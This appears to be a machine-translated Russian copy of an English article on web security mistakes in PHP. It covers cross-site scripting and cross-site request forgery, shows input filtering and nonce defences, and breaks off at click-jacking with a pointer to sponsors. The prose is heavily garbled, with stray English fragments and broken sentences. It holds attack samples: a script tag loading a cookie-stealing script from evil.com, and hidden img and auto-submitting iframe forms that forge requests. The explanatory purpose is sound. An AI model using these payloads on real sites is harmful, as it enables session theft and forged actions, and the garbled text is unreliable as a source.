Типичные ошибки безопасности в веб-приложениях

Разработчиков веб-приложений сегодня нужно быть специалистом во множестве дисциплин.

It’ ы, необходимые для создания приложений, что является удобным, высокопроизводительную, доступным и безопасным, все время выполнения частично в ненадежной среде, что вы, разработчик, не имеют никакого контроля.Я говорю, конечно, о User Agent.Чаще всего проявляется в виде веб-браузера, но в действительности, никогда не знает, what’ S на другом конце HTTP connection.

Есть много вещей, чтобы беспокоиться о том, когда дело доходит до безопасности на Web.Является ли ваш сайт защищены от атак отказа в обслуживании?Является ли ваши данные в безопасности?Может ли пользователи быть обманом делать вещи, которые они обычно не делают?Может ли злоумышленник загрязнять вашу базу данных с поддельными данными?Возможно ли злоумышленнику получить несанкционированный доступ к закрытой части сайта?К сожалению, если we’ Re осторожны с кодом мы пишем, ответ на эти вопросы часто являются одной we’ D, а не hear.

We’ VL пропустить атак отказа в обслуживании в этой статье, но внимательно посмотреть на другие вопросы.Чтобы быть более совместимую со стандартной терминологией, we’ поговорим о Cross-Site Scripting (XSS), Cross-Site подделка запросов (CSRF), фишинг, Shell впрыска и SQL инъекций.We’ будем также считать, PHP в качестве языка разработки, но проблемы применяются независимо от языка, и решения будут аналогичными в других languages.

1.Cross-Site Scripting (XSS)

Cross-Site Scripting это атака, в которой пользователь обманом выполнение кода из attacker’ с сайта (скажем, evil.com) в контексте нашего сайта (let’ назовем его www.mybiz.com).Это проблема, независимо от того, наш веб-сайт делает, но серьезность проблемы меняется в зависимости от того, что наши пользователи могут делать на сайте.Let’ посмотрим на example.

Let’ S сказать, что наш сайт позволяет пользователю отправлять сообщения милый маленький для всего мира (или, может быть, только их друзья), чтобы видеть.We’ D есть код, который выглядит примерно так:

<?php
  echo "$user said $message";
?>

Чтобы прочитать сообщение в от пользователя, we’ D есть такой код:

<?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

Это работает только до тех пор, пока пользователь прилипает к сообщениям в текстовом виде, или, возможно, несколько безопасных HTML теги, такие как < strong> или < em>.We’ Re существу доверяя пользователям вводить только безопасные текста.Злоумышленник, хотя, может ввести что-то вроде этого:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>

(Заметим, что I’ нас изменился HTTP для HP, чтобы предотвратить автоматическое связывание URL).

Когда пользователь просматривает сообщения на свои собственные страницы, они загружаются bad-script.js в свои страницы, и что скрипт может делать все, что хотели, например, он мог украсть содержимое document.cookie, а затем использовать его для олицетворенияпользователей и, возможно, рассылать спам со своего счета, или более тонко, изменять содержимое HTML страницы, чтобы сделатьгадостей, возможна установка вредоносного ПО на reader’ компьютера с.Помните, что bad-script.js Сейчас выполняется в контексте www.mybiz.com.

Это происходит потому, we’ ве доверенных пользователей больше, чем мы должны.Если, вместо этого, мы только позволит пользователю ввести содержания, которые являются безопасными для отображения на странице, мы можем предотвратить эту форму атаки.Мы осуществляем это с помощью PHP’ S input_filter extension.

Мы можем изменить наш PHP код в следующем:

<?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

Обратите внимание, что мы запускаем фильтр на входе, а не только перед выходом.Мы делаем это, чтобы защититься от ситуации, когда новый вариант использования может возникнуть в будущем, или новый программист приходит на проект, и забывает дезинфицировать data перед печатью.С помощью фильтрации на входе слоя, мы гарантируем, что мы никогда не храните небезопасных данных.Побочным эффектом этого является то, что если у вас есть данные, которые должны быть отображены в не-веб контекста (например, мобильные текстовые сообщения / пейджер сообщение), то она может быть unsuitably закодирован.Вам может понадобиться дальнейшая обработка данных перед отправкой на что context.

Сейчас есть вероятность, что почти все, что вы получаете от пользователя будет написано обратно в браузер в какой-то момент, так что может быть лучше, чтобы просто установить фильтр по умолчанию в FILTER_SANITIZE_SPECIAL_CHARS по изменению filter.default в php.ini file.

PHP имеет много различных входных фильтров, а it’ важно использовать тот самый, имеющие отношение к данным.Очень часто XSS закрадывается потому что мы используем FILTER_SANITIZE_SPECIAL_CHARS, когда мы должны были использовать FILTER_SANITIZE_ENCODED или FILTER_SANITIZE_URL или наоборот.Вы должны также внимательно изучить код, который использует нечто вроде html_entity_decode , потому что это потенциально может открыть свой код для атаки, отменяя кодирования добавлен вход filter.

Если сайт открыт для XSS-атак, то его users’ данные не safe.

2.Cross-Site подделка запросов (CSRF)

CSRF (иногда сокращенно XSRF) является нападение, где вредоносный сайт обманывает наших посетителей в проведении действие на нашем сайте.Это может произойти, если пользователь заходит на сайт, который они используют много (например, электронная почта, Facebook, и т.д.), а затем посещает вредоносный сайт, без предварительного выхода из системы.Если исходный сайт восприимчивы к атаке CSRF, то вредоносный сайт может делать зло на user’ имени с.Let’ возьмем тот же пример, above.

С наше приложение считывает входные либо из POST данных или из строки запроса, злоумышленник может обмануть наших пользователей в написании сообщения, в том числе такой код на своем сайте:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;">

Сейчас все злоумышленнику нужно сделать, это получить пользователи mybiz.com посетить их сайт.Это довольно легко сделать, например, хостинг игру, или фотографии милых животных ребенка.Когда пользователь посещает attacker’ с сайта, их браузер посылает GET запрос www.mybiz.com/post_message.Поскольку пользователь все еще вошли вwww.mybiz.com, браузер посылает по user’ печенье с, тем самым размещения рекламы дешевые medicine для всех user’ S friends.

Просто меняем код, чтобы принимать только представления через POST doesn’ T решить проблему.Злоумышленник может изменить код, чтобы что-то вроде этого:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>

Какой будет размещать форму в www.mybiz.com.

Правильный способ для защиты от CSRF является использование одного маркера использования привязаны к пользователю.Этот маркер может быть выдано только в подписанном в пользователем, и основан на user’ счета, секретный соли и, возможно, метка времени.Когда пользователь отправляет форму, это маркера нужно быть validated.Это гарантирует, что запрос возник из страниц, что мы контролируем.Этот маркер только должен быть выдан, когда форма представления может что-то сделать от имени пользователя, поэтому there’ нет необходимости использовать его для общедоступных данных только для чтения.Маркер иногда называют nonce.

Есть несколько различных способов генерации одноразового номера.Например, посмотрите на wp_create_nonce wp_verify_nonce и wp_salt функций в WordPress источник code.Простой данное время может быть создан так:

<?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?>

Метки мы используем текущее время с точностью до 1 дня (86400 секунд), так it’ с действительным, пока действие выполняется в течение одного дня, запрашивающего страницу.Мы могли бы уменьшить это значение для более чувствительных действий (например, изменение пароля или удаление аккаунта).Это doesn’ T смысла иметь это значение больше, чем тайм-аут сеанса time.

Альтернативный метод может быть для генерации одноразового без времени, но сохранить его в качестве переменной сессии или в базе данных на стороне сервера, а также время, когда данный случай был сгенерирован.Это делает его более трудным для атакующего для генерации одноразового угадать время, когда он был generated.

<?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?>

Мы используем эту данное время в форме ввода, и, когда форма была отправлена, мы регенерировать одноразового или читать его из переменной сессии и сравнить его с представленным значение.Если два матча, то мы позволим действия, чтобы пройти.Если данное время истекло, так как он был создан, то мы отвергаем request.

<?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?>

Это защищает нас от атак CSRF с attacker’ сайт с не может генерировать наши nonce.

Если вы don’ т использовать случайное число, пользователю может быть обманут делать вещи, которые они обычно не делают.Обратите внимание, что даже если вы используете данное время, вы все равно можете быть восприимчивы к мыши угона attack.

3.Click-Jacking

В то время как не на OWASP десятку списка2010 нажмите угона приобрел славу последних в связи с нападениями на …

Если вы хотите прочитать полностью статью, посетите сайт наших спонсоров

Comments are closed.